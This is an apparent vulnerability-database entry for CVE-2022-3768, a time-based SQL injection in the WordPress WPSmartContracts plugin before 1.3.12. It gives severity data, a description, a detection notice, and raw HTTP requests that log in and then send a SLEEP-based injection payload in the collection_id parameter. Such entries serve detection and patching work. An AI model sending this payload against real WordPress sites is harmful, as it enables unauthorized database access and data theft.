🔙 목록으로 돌아가기

CVE-2022-3768: WordPress WPSmartContracts <1.3.12 - SQL Injection

TitleWordPress WPSmartContracts <1.3.12 - SQL Injection
AuthorHardik-Solanki
SeverityHigh
ImpactAn attacker can execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
RemediationFixed in version 1.3.12
CVSS Score8.8
EPSS Score0.56283
CVE IDCVE-2022-3768
CWE IDCWE-89
Tags time-based-sqli cve cve2022 wp-smart-contracts wpscan wp-plugin sqli wordpress wp authenticated wpsmartcontracts vuln

🔍 Vulnerability Description

WordPress WPSmartContracts plugin before 1.3.12 contains a SQL injection vulnerability. The plugin does not properly sanitize and escape a parameter before using it in a SQL statement. An attacker with a role as low as author can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
Origin: /
Accept-Encoding: gzip

log=R4Cdl6&pwd=QNCiqQ&wp-submit=Log+In&testcookie=1
GET /wp-admin/edit.php?post_type=nft&page=nft-batch-mint&step=4&collection_id=1+AND+(SELECT+7741+FROM+(SELECT(SLEEP(7)))hlAf)&uid=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.7.20) Gecko/ Firefox/3.6.7
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-3768.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-3768.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A